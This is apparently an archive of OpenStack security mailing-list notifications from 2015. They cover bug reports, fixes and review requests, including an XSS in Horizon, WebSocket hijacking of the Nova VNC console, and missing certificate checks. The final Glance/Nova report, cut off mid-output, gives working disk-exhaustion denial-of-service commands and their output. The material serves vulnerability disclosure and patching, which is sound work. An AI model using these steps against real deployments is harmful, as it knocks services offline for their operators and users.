reproduce: 1. Create cluster with auto security groups and two or more nodemanagers. 2. Launch pig job with 1Gb input data Result: After ~1 hour job in KILLED state. Reproduced with the following plugins: Vanilla 2 HDP 2 CDH To manage notifications about this bug go to: https://bugs.launchpad.net/sahara/+bug/1394988/+subscriptions From 1391520 at bugs.launchpad.net Mon Mar 16 16:29:51 2015 From: 1391520 at bugs.launchpad.net (OpenStack Infra) Date: Mon, 16 Mar 2015 16:29:51 -0000 Subject: [Openstack-security] [Bug 1391520] Re: Create CDH cluster with auto security group failed References: <20141111134553.19455.35550.malonedeb@gac.canonical.com> Message-ID: <20150316162951.25203.58110.malone@chaenomeles.canonical.com> Reviewed: https://review.openstack.org/150819 Committed: https://git.openstack.org/cgit/openstack/sahara/commit/?id=6e4e7e62d9f586cbc64c09f2a1a4d2b927afd707 Submitter: Jenkins Branch: stable/juno commit 6e4e7e62d9f586cbc64c09f2a1a4d2b927afd707 Author: Sergey Reshetnyak Date: Wed Nov 12 14:07:45 2014 +0300 Add list of open ports for Cloudera plugin It's needed for correct working auto security groups Changes: * add ports * enable auto security groups in integration tests Closes-bug: #1391520 (cherry picked from commit 8641100c547b0cfdb9526dd077fc9fc481b6f15a) Change-Id: Ia16d61e533831d1ec6827db76959092cd1f77e26 ** Changed in: sahara/juno Status: In Progress => Fix Committed -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1391520 Title: Create CDH cluster with auto security group failed Status in OpenStack Data Processing (Sahara): Fix Released Status in Sahara juno series: Fix Committed Bug description: Steps to reproduce: Create cluster with auto security groups. Result: Cluster in 'Configuring' state To manage notifications about this bug go to: https://bugs.launchpad.net/sahara/+bug/1391520/+subscriptions From gerrit2 at review.openstack.org Tue Mar 17 02:47:27 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 17 Mar 2015 02:47:27 +0000 Subject: [Openstack-security] [openstack/glance-specs] SecurityImpact review request change If5047942f03915cc4b1e42a586cf403a4eceab58 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/149112 Log: commit a9fde2dee6fae620b2c816c4f3c8da0a762c5c71 Author: Ian Cordasco Date: Wed Jan 21 19:36:03 2015 -0600 Pass Targets to Glance's Policy Enforcer SecurityImpact Change-Id: If5047942f03915cc4b1e42a586cf403a4eceab58 From gmollett at redhat.com Tue Mar 17 03:19:12 2015 From: gmollett at redhat.com (Garth Mollett) Date: Tue, 17 Mar 2015 03:19:12 -0000 Subject: [Openstack-security] [Bug 1419577] Re: when live-migrate failed, lun-id couldn't be rollback in havana References: <20150209012956.20741.53343.malonedeb@chaenomeles.canonical.com> Message-ID: <20150317031912.25059.82763.malone@chaenomeles.canonical.com> I'm going to go ahead and request a CVE for this on oss-sec at least for havana (which we [redhat] still support downstream) unless someone has a good reason not to? (or beats me to it) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1419577 Title: when live-migrate failed, lun-id couldn't be rollback in havana Status in OpenStack Compute (Nova): Confirmed Status in OpenStack Security Advisories: Won't Fix Bug description: Hi, guys When live-migrate failed with error, lun-id of connection_info column in Nova's block_deivce_mapping table couldn't be rollback. and failed VM can have others volume. my test environment is following : Openstack Version : Havana ( 2013.2.3) Compute Node OS : 3.5.0-23-generic #35~precise1-Ubuntu SMP Fri Jan 25 17:13:26 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux Compute Node multipath : multipath-tools 0.4.9-3ubuntu7.2 test step is : 1) create 2 Compute node (host#1 and host#2) 2) create 1 VM on host#1 (vm01) 3) create 1 cinder volume (vol01) 4) attach 1 volume to vm01 (/dev/vdb) 5) live-migrate vm01 from host#1 to host#2 6) live-migrate success      - please check the mapper by using multipath command in host#1 (# multipath -ll), then you can find mapper is not deleted.        and the status of devices is "failed faulty"      - please check the lun-id of vol01 7) Again, live-migrate vm01 from host#2 to host#1 (vm01 was migrated to host#2 at step 4) 8) live-migrate fail      - please check the mapper in host#1      - please check the lun-id of vol01, then you can find the lun hav "two" igroups      - please check the connection_info column in Nova's block_deivce_mapping table, then you can find lun-id couldn't be rollback This Bug is critical security issue because the failed VM can have others volume. and every backend storage of cinder-volume can have same problem because this is the bug of live-migration's rollback process. I suggest below methods to solve issue : 1) when live-migrate is complete, nova should delete mapper devices at origin host 2) when live-migrate is failed, nova should rollback lun-id in connection_info column 3) when live-migrate is failed, cinder should delete the mapping between lun and host (Netapp : igroup, EMC : storage_group ...) 4) when volume-attach is requested , cinder volume driver of vendors should make lun-id randomly for reduce of probability of mis-mapping please check this bug. Thank you. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1419577/+subscriptions From gerrit2 at review.openstack.org Tue Mar 17 13:55:00 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 17 Mar 2015 13:55:00 +0000 Subject: [Openstack-security] [openstack/sahara] SecurityImpact review request change I8e140996c08be19994cce793ae74dc8ffda2adbf Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/165077 Log: commit b259f409f38ea6ad8c0ea808e448ef0d7af545be Author: Michael McCune Date: Tue Mar 17 09:43:46 2015 -0400 Moving cdh cloudera manager password to config file This change addresses the hard coded password for the Cloudera Manager admin account in the CDH plugin by moving it to the configuration file. Changes * adding configuration option for the cdh cloudera manager password SecurityImpact Change-Id: I8e140996c08be19994cce793ae74dc8ffda2adbf Closes-Bug: 1429989 From fungi at yuggoth.org Tue Mar 17 14:11:58 2015 From: fungi at yuggoth.org (Jeremy Stanley) Date: Tue, 17 Mar 2015 14:11:58 -0000 Subject: [Openstack-security] [Bug 1188189] Re: Some server-side 'SSL' communication fails to check certificates (use of HTTPSConnection) References: <20130606134102.14097.28030.malonedeb@soybean.canonical.com> Message-ID: <20150317141158.18358.90090.malone@gac.canonical.com> Now that the solidfire driver has switched from httplib to requests in the current development cycle (see https://review.openstack.org/127399 for details) would it be possible to switch certificate validation on for it prior to the Kilo release, or do we need to wait for Liberty? -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1188189 Title: Some server-side 'SSL' communication fails to check certificates (use of HTTPSConnection) Status in Cinder: In Progress Status in OpenStack Identity (Keystone): Fix Released Status in OpenStack Neutron (virtual network service): In Progress Status in Oslo VMware library for OpenStack projects: Fix Released Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Security Notes: Fix Released Status in Python client library for Keystone: Fix Released Status in OpenStack Object Storage (Swift): Invalid Bug description: Grant Murphy from Red Hat reported usage of httplib.HTTPSConnection objects. In Python 2.x those do not perform CA checks so client connections are vulnerable to MiM attacks. """ The following files use httplib.HTTPSConnection : keystone/middleware/s3_token.py keystone/middleware/ec2_token.py keystone/common/bufferedhttp.py vendor/python-keystoneclient-master/keystoneclient/middleware/auth_token.py AFAICT HTTPSConnection does not validate server certificates and should be avoided. This is fixed in Python 3, however in 2.X no validation occurs. I suspect this is also applicable to most OpenStack modules that make HTTPS client calls. Similar problems were found in ovirt: https://bugzilla.redhat.com/show_bug.cgi?id=851672 (CVE-2012-3533) With solutions for ovirt: http://gerrit.ovirt.org/#/c/7209/ http://gerrit.ovirt.org/#/c/7249/ """ To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1188189/+subscriptions From 1427228 at bugs.launchpad.net Tue Mar 17 15:44:54 2015 From: 1427228 at bugs.launchpad.net (OpenStack Infra) Date: Tue, 17 Mar 2015 15:44:54 -0000 Subject: [Openstack-security] [Bug 1427228] Fix proposed to neutron (master) References: <20150302135536.21027.11405.malonedeb@soybean.canonical.com> Message-ID: <20150317154454.25365.60082.malone@chaenomeles.canonical.com> Fix proposed to branch: master Review: https://review.openstack.org/165115 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1427228 Title: Allow to run neutron-ns-metadata-proxy as nobody Status in OpenStack Neutron (virtual network service): In Progress Bug description: Currently neutron-ns-metadata-proxy runs with neutron user/group permissions on l3-agent but we should allow to run it with less permissions as neutron user is allowed to run neutron-rootwrap. We should restrict as much as possible neutron-ns-metadata-proxy permissions as it's reachable from VMs. To manage notifications about this bug go to: https://bugs.launchpad.net/neutron/+bug/1427228/+subscriptions From gerrit2 at review.openstack.org Tue Mar 17 19:23:08 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 17 Mar 2015 19:23:08 +0000 Subject: [Openstack-security] [openstack/sahara] SecurityImpact review request change I8e140996c08be19994cce793ae74dc8ffda2adbf Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/165077 Log: commit e69c6f210d80e076e41cff74db97888a9fe12157 Author: Michael McCune Date: Tue Mar 17 09:43:46 2015 -0400 Moving cdh cloudera manager password to config file This change addresses the hard coded password for the Cloudera Manager admin account in the CDH plugin by moving it to the configuration file. Changes * adding configuration option for the cdh cloudera manager password * changing the v5 & v5_3_0 versionhandlers to use config password option * changing the ApiResource to use config password option SecurityImpact Change-Id: I8e140996c08be19994cce793ae74dc8ffda2adbf Closes-Bug: 1429989 From 1417762 at bugs.launchpad.net Mon Mar 9 22:47:08 2015 From: 1417762 at bugs.launchpad.net (Lin Hua Cheng) Date: Mon, 09 Mar 2015 22:47:08 -0000 Subject: [Openstack-security] [Bug 1417762] Re: XSS in network create error reporting References: <20150203205415.432.2591.malonedeb@wampee.canonical.com> Message-ID: <20150309224710.21281.70608.launchpad@gac.canonical.com> ** Changed in: horizon Milestone: None => kilo-3 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1417762 Title: XSS in network create error reporting Status in OpenStack Dashboard (Horizon): New Status in OpenStack Security Advisories: Won't Fix Bug description: --- This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. --- The error reporting in Horizon for creating a new network is susceptible to a Cross-Site Scripting vulnerability. Example request/response: Request POST /project/networks/create HTTP/1.1 ... csrfmiddlewaretoken=6MGUvp62x8c6GU7TfRXQLZERmJuN7nXT&net_profile_id=&net_name=foobar&admin_state=True&with_subnet=on&subnet_name=&cidr=&ip_version=4&gateway_ip=&enable_dhcp=on&ipv6_modes=none%2Fnone&allocation_pools=&dns_nameservers=&host_routes= Response HTTP/1.1 200 OK Date: Tue, 03 Feb 2015 20:42:28 GMT Server: Apache/2.4.10 (Debian) Vary: Accept-Language,Cookie X-Frame-Options: SAMEORIGIN Content-Language: en Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/json Content-Length: 209 {"has_errors": true, "errors": {"createnetworkinfoaction": {"net_profile_id": ["Select a valid choice. is not one of the available choices."]}}, "workflow_slug": "create_network"} In the above example if the net_profile_id does not exist, the json response contains the user input and Horizon echo's it out. Although it would be difficult to exploit this vulnerability because an attacker would need to manipulate the hidden HTML net_profile_id parameter or the POST body, Horizon should still HTML encode the output. To manage notifications about this bug go to: https://bugs.launchpad.net/horizon/+bug/1417762/+subscriptions From 1409142 at bugs.launchpad.net Tue Mar 10 15:00:35 2015 From: 1409142 at bugs.launchpad.net (OpenStack Infra) Date: Tue, 10 Mar 2015 15:00:35 -0000 Subject: [Openstack-security] [Bug 1409142] Re: Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150310150035.18916.14931.malone@gac.canonical.com> Fix proposed to branch: master Review: https://review.openstack.org/163033 ** Changed in: nova Assignee: (unassigned) => Tristan Cacqueray (tristan-cacqueray) ** Changed in: nova/juno Assignee: (unassigned) => Tristan Cacqueray (tristan-cacqueray) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): In Progress Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Compute (nova) juno series: In Progress Status in OpenStack Security Advisories: Fix Committed Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From 1409142 at bugs.launchpad.net Tue Mar 10 15:01:33 2015 From: 1409142 at bugs.launchpad.net (OpenStack Infra) Date: Tue, 10 Mar 2015 15:01:33 -0000 Subject: [Openstack-security] [Bug 1409142] Fix proposed to nova (stable/juno) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150310150133.14870.6462.malone@wampee.canonical.com> Fix proposed to branch: stable/juno Review: https://review.openstack.org/163034 ** Changed in: nova/icehouse Assignee: (unassigned) => Tristan Cacqueray (tristan-cacqueray) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): In Progress Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Compute (nova) juno series: In Progress Status in OpenStack Security Advisories: Fix Committed Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From 1409142 at bugs.launchpad.net Tue Mar 10 15:02:04 2015 From: 1409142 at bugs.launchpad.net (OpenStack Infra) Date: Tue, 10 Mar 2015 15:02:04 -0000 Subject: [Openstack-security] [Bug 1409142] Fix proposed to nova (stable/icehouse) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150310150205.25163.59807.malone@chaenomeles.canonical.com> Fix proposed to branch: stable/icehouse Review: https://review.openstack.org/163035 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): In Progress Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Compute (nova) juno series: In Progress Status in OpenStack Security Advisories: Fix Committed Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From 1409142 at bugs.launchpad.net Wed Mar 11 09:41:13 2015 From: 1409142 at bugs.launchpad.net (Alan Pevec) Date: Wed, 11 Mar 2015 09:41:13 -0000 Subject: [Openstack-security] [Bug 1409142] Re: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150311094114.18238.31718.launchpad@gac.canonical.com> ** Changed in: nova/icehouse Milestone: None => 2014.1.4 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): In Progress Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Compute (nova) juno series: In Progress Status in OpenStack Security Advisories: Fix Committed Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From 1409142 at bugs.launchpad.net Wed Mar 11 14:46:50 2015 From: 1409142 at bugs.launchpad.net (OpenStack Infra) Date: Wed, 11 Mar 2015 14:46:50 -0000 Subject: [Openstack-security] [Bug 1409142] Re: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150311144652.25713.88070.launchpad@soybean.canonical.com> ** Changed in: nova Assignee: Tristan Cacqueray (tristan-cacqueray) => Sylvain Bauza (sylvain-bauza) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): In Progress Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Compute (nova) juno series: In Progress Status in OpenStack Security Advisories: Fix Committed Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From 1029950 at bugs.launchpad.net Wed Mar 11 18:23:14 2015 From: 1029950 at bugs.launchpad.net (Joe Gordon) Date: Wed, 11 Mar 2015 18:23:14 -0000 Subject: [Openstack-security] [Bug 1029950] Re: No limits on image size References: <20120727135033.27512.41736.malonedeb@gac.canonical.com> Message-ID: <20150311182315.14410.39562.launchpad@wampee.canonical.com> ** Also affects: glance Importance: Undecided Status: New ** Changed in: nova Status: Confirmed => Opinion -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1029950 Title: No limits on image size Status in OpenStack Image Registry and Delivery Service (Glance): New Status in OpenStack Compute (Nova): Opinion Status in OpenStack Security Advisories: Won't Fix Bug description: Using Epel Essex packages on RHEL 6.3 Glance should impose configurable limits (or tenant quotas) on the size of the images it allows to be registered and/or uploaded. Two separate example exploits here 1. Glance Denial of Service by file system exhaustion 2. Nova Compute Denial of Service by file system exhaustion = 1 = Using the glance x-image-meta-property-copy-from header it is possible to get glance to keep downloading a large resource until it fills up the local harddrive e.g. $ glance add name="big image" disk_format=raw container_format=ovf copy_from=http://server/cgi-bin/t.cgi # [1] Failed to add image. Got error: The request returned a 413 Request Entity Too Large. This generally means that rate limiting or a quota threshold was breached. The response body: 413 Request Entity Too Large The body of your request was too large for this server. Image storage media is full: There is not enough disk space on the image storage media. Note: Your image metadata may still be in the registry, but the image's status will likely be 'killed'. $ ls -lh /var/lib/glance/images/f1db6d09-1eac-4ce4-86ff-8a34bfea33af -rw-r--r--. 1 glance glance 87G Jul 27 13:03 /var/lib/glance/images/f1db6d09-1eac-4ce4-86ff-8a34bfea33af $ df -h /var/lib/glance/images/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_rheva8c03-lv_root 104G 98G 261M 100% / this would allow any authenticated user to preform a denial of service on a glance server, with a file system backend. I havn't looked into swift but will it just keep going until is starts filling up storage nodes? = 2 = Nova is also open to a similar exploit, by using the x-image-meta- location header in a glance add, a large resource can be registered with glance, any nova compute node that tries to use this image to start an instance can have its disk space very quickly exhausted with a singe instance # Registering an image 1TB in size (can go bigger if needs be) $ glance add name="big image" disk_format=raw container_format=ovf location=http://server/cgi-bin/t.cgi Added new image with ID: 1a528173-7ca9-4320-b0f3-dac127a1f337 $ glance index ID Name Disk Format Container Format Size ------------------------------------ ------------------------------ -------------------- -------------------- -------------- 1a528173-7ca9-4320-b0f3-dac127a1f337 big image raw ovf 1099511627776 $ nova boot --flavor 1 --image 1a528173-7ca9-4320-b0f3-dac127a1f337 bigtest # the filesystem now fills up, the boot fails and nova deletes the partial download # next I check the apache logs to see how much nova downloaded. "GET /cgi-bin/t.cgi HTTP/1.1" 200 93406637550 "-" "-" # Note : I know I will probably not get the same compute node next time but # this will at least give me an idea of what size might be tolerated. # edit cgi script [1] to change the content length to something slightly smaller then 93406637550 $ glance add name="smaller big image" disk_format=raw container_format=ovf location=http://server/cgi-bin/t.cgi Added new image with ID: a5eb1eab-1536-438f-82cf-4b642cf9d363 $ glance index ID Name Disk Format Container Format Size ------------------------------------ ------------------------------ -------------------- -------------------- -------------- a5eb1eab-1536-438f-82cf-4b642cf9d363 smaller big image raw ovf 90406637550 1a528173-7ca9-4320-b0f3-dac127a1f337 big image raw ovf 1099511627776 $ nova boot --flavor 1 --image a5eb1eab-1536-438f-82cf-4b642cf9d363 bigtest_2 $ ls -lh /var/lib/nova/instances/_base/7f9a4e3c2891c537a784391cd962e6a5527d0a27 -rw-r--r--. 1 qemu qemu 85G Jul 27 14:13 